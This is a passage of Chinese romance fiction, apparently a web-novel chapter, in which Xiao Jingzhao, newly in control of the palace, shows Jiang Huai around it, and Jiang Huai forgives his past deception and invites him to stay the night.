萧靖昭在前殿处理政务,姜淮也不想过去,毕竟就算他戴着面具,可前朝官员总是有认识他的人,万一认出来了,戴着面具似乎更加的尴尬。
姜淮索性四处走走看看,一旁随侍的宫人早就被萧靖昭安排好了,姜淮想去哪里都可以去。
原本外人是不好在宫内随便走动的,毕竟宫中女眷众多,可谁让萧靖昭入宫后,皇帝被他迁居到别宫,而后宫妃嫔,要么就被人接出宫,要么就被送到别处,整个皇宫一个女眷也没有留下。
不过姜淮也没有走太远,尽管他可以坐车轿出行,但是走了一会,发现宫里空荡荡的,姜淮心里发怵,回了永安宫。
姜淮回来的时候,萧靖昭也回来了。
萧靖昭本以为姜淮会晚些回来,没想到姜淮这么早就回来了,有些诧异地迎上来,问道:“是哪里让你不喜欢吗?”
在萧靖昭的印象中,姜淮出去逛街游玩,除非是遇到不喜欢,不然都要多看一阵子。
听到萧靖昭的问话,宫人不自觉紧张起来,虽然姜淮在路上并没有表现出不满来,可万一是他们没有注意到的不满呢,殿下这么一问,要是姜淮说了什么,那他们就要挨罚了。
“没有,宫里什么都好,就是太大了,我对这里也不熟悉,走马观花地看一遍没什么意思。”姜摇淮摇头,他感觉自己就像是在参观景点,虽然景色好看,可不了解的话,似乎也没有什么逛的意思。
“那我待会就陪你一起走走。”萧靖昭下意识道。
“行啊,这也算是你在京都置办的宅子了。”姜淮接话。
只是一说到这个事,姜淮就忍不住想起他们还在安远府时的对话,不由得沉默了一瞬。
萧靖昭也想起这件事,目光不自觉地落到姜淮脸上,发现姜淮只是沉默一瞬,可脸上似乎并没有太多的介意,似乎是对这事释怀了。
姜淮是不是彻底不在意了?
萧靖昭不知道姜淮这个态度是朝好的方面走还是坏的方面,有心想问问姜淮,又怕让姜淮不高兴。
等了半晌没有等到萧靖昭的接话,姜淮才意识到自己说了什么,眨了眨眼看向萧靖昭,有些不自然地转移话题:“先用膳吧。”
如果姜淮没有这样的表现,萧靖昭也不敢再多想一些,怕是自己自作多情,可姜淮如此表态,足够说明他的态度了,让萧靖昭的眼睛都亮了几分。
下午,萧靖昭就带着姜淮在宫中逛了一圈,比起上午姜淮自己的走马观花,萧靖昭对皇宫的了解就深了许多,也知道宫中到底哪里好看,哪里无趣,更是对各宫殿的历史了如指掌,姜淮就像是被导游带着在景点走了一圈,乐趣比上午大多了。
萧靖昭本来对皇宫没有多少兴趣,可看姜淮看得开心,脸上也露出几分笑意,看得跟在后面的内侍心惊不已。
“不过宫中还是真大,这平时都得靠车轿出行才行吧。”姜淮有些感叹,这要是靠步行,姜淮怀疑每天的步行就可以强身健体。
“你若是不喜欢,以后我就住到你那去。”萧靖昭听出姜淮对皇宫的态度,脱口而出道,他对皇宫并没有什么太多的念想,能住就住,不能住的话,他可以陪着姜淮一起。
只是话一出口,见姜淮沉默,萧靖昭就知道自己是冲动了,但是他不后悔此时的冲动,他了解姜淮,有时候姜淮或许就需要他推一把,不然对方或许就会停留在原地不愿意动。
姜淮确实是被萧靖昭的话触动到了,只是心中的纠结依旧让他没有办法开口。
很快就到了临近出宫的时间,日头偏西,天色黑得很快,明明太阳还挂在天上,周围却已经显得有些昏暗,需要点烛火照明了。
“我送你回去吧。”萧靖昭扶着姜淮上了马车,自然说道。
姜淮对他要跟过来早就做好了准备,点点头。
或许是因为四周过于寂静,马车内也极为安静,姜淮只能听到马蹄踏在砖石路上发出的哒哒声,清脆轻灵。
姜淮侧头,萧靖昭就坐在他身边,明明很想牵着他,但似乎又顾及什么,轻轻扯住他的衣袖,焦虑的像是个知道主人要离家的小猫。
但是姜淮清楚,萧靖昭不是猫,而是凶猛的饿虎,只是为了他而忍耐下来,选择用无害小猫的形象来面对他。
可以前,萧靖昭就算在姜淮面前显得无害,可也不会将自己逼得如此之紧,不过是因为心中忐忑罢了。
萧靖昭的注意力全都放在姜淮的身上,自然注意到了姜淮的目光,眼神中流露出几分疑惑。
“你,待会就留下来吧。”姜淮出声。
萧靖昭愣住,有点反应不过来,他以为自己是太舍不得姜淮而出现了幻听。
“淮儿,你?”萧靖昭迟疑。
这几天下来,姜淮清楚他对萧靖昭的感情,可是困于性格习惯,他总是没有办法彻底踏出那一步,纠结又犹豫,可真的要这么下去吗?不如还是放下吧。
“你之前不是说住我这,那就先住一晚,适应适应。”既然话都说出口了,姜淮也不扭捏了,坦率道。
萧靖昭这下确定自己不是出幻觉了,不自觉紧握住姜淮的手:“淮儿,你不介意我之前隐瞒身份的事吗?”
哪怕知道姜淮是这个意思,但是萧靖昭还是想要一个准确的答复。
“不介意了。”姜淮郑重思考了一番,在萧靖昭忐忑的目光中摇了摇头。
“所以,你待会愿意留下吗?”姜淮出声,认真地看着萧靖昭。
他的问话并不只是萧靖昭能不能留下,还包含了另一个意思,本来这个问题早就该问的,只是因为之前隐瞒身份的事,拖到了如今,而现在,姜淮也不想耽搁下去。
姜淮的意思如此明显,萧靖昭怎么会听不出来呢。
“我愿意。”萧靖昭紧紧握住姜淮的手。
这次是姜淮主动握紧他,他再也不会松开了。